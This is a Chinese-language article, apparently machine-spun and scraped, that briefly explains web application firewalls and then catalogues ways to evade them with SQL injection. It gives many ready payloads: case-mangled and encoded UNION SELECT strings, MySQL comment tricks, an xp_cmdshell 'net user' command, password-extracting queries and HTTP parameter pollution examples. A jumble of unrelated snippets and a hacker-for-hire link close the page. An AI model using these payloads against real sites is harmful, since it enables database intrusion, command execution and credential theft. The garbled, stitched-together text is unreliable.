Web运用程序防火墙(WAF)的首要作用是过滤,监控和阻挠各类进出Web运用程序的HTTP流量。WAF差异于惯例防火墙,由于WAF能够过滤特定Web运用程序的内容,而惯例防火墙充任的则是服务器之间的安全门。经过查看HTTP流量,它能够避免源自Web运用安全漏洞的进犯,如SQL注入,XSS,文件包括和安全装备过错。
WAF是怎么作业的?
协议反常检测:回绝不符合HTTP规范的恳求
增强的输入验证:署理和服务器端验证,而不仅仅是客户端验证
白名单和黑名单
根据规矩和根据反常的维护:根据规矩的更依靠黑名单机制,根据反常则更灵敏
状况办理:重视会话维护还有:Cookie维护,反侵略躲避技能,呼应监控和信息发表维护。
怎么绕过WAF?
1.当咱们在方针URL进行SQL注入测验时,能够经过修正注入语句中字母的巨细写来触发WAF维护状况。假如WAF运用区别巨细写的黑名单,则更改巨细写或许会帮咱们成功绕过WAF的过滤。
http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
2.关键字替换(在关键字中心可刺进将会被WAF过滤的字符) – 例如SELECT可刺进变成SEL
http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3.编码
+ URL encode
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
+Hex encode
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
+Unicode encode
?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1
4.运用注释
在进犯字符串中刺进注释。例如,/*!SELECT*/ 这样WAF或许就会疏忽该字符串,但它仍会被传递给方针运用程序并交由mysql数据库处理。
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
5.某些函数或指令,由于WAF的过滤机制导致咱们无法运用。那么,咱们也能够尝试用一些等价函数来代替它们。
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
6.运用特别符号
这儿我把非字母数字的字符都规在了特别符号一类,特别符号有特别的意义和用法。
+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00
示例
‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
7.HTTP参数操控
经过供给多个参数=相同称号的值集来混杂WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些状况下(例如运用Apache/PHP),运用程序将仅解析最终(第二个) id= 而WAF只解析之一个。在运用程序看来这似乎是一个合法的恳求,因而运用程序会接纳并处理这些歹意输入。现在,大多数的WAF都不会遭到HTTP参数污染(HPP)的影响,但仍然值得一试。
+ HPP(HTTP Parameter Polution))
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染,最简略的便是?uid=1&uid=2&uid=3,关于这种状况,不同的Web服务器处理方式如下:
+HPF (HTTP Parameter Fragment)
这种办法是HTTP切割注入,同CRLF有相似之处(运用操控字符%0a、%0d等履行换行)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
+HPC (HTTP Parameter Contamination)
RFC2396界说了以下字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | ^ [ ] `
不同的Web服务器处理处理结构得特别恳求时有不同的逻辑:
[1] [2] 黑客接单网
MX7 也成功 附录3 C&C 26 26-A, --after [bytes] Number of bytes to s...
在解说本文之前,先介绍一下域账户和DNS的几个基本概念。 域账户 域账户是域是网络方针的分组。例如:用户、组和计算机。域中一切的方针都存储在 Active Directory (AD)下。Active...
FireEye收集了168个PUPYRAT样本进行比较。 尽管导入哈希值(IMPHASH)不足以归因溯源,但咱们发现,在指定的抽样中,进犯者的IMPHASH仅在六个样本中被发现,其间两个被承认归于在M...
2014年Dell SecureWorks剖析的一个事例中,BGP绑架被用来阻拦比特币矿机到采矿池服务器的链接。 经过将流量重路由至进犯者操控的矿池,进犯者就可以盗取受害者的比特币。 这次进犯在两月...
咱们来处理这个的防护办法便是 设置php-templete.ini文件,找到open_basedir,把前面的分号去掉,如下所示即可处理此问题。 ; open_basedir, if set, li...
妹纸:对了你能够在咱们这儿办卡或许会员。 测验装备文件设置及语法: httpd -t假如方针站点满意条件1和2,可是对方没有存储灵敏信息,也不能履行一些灵敏的操作。 那么装备不妥的crossdomai...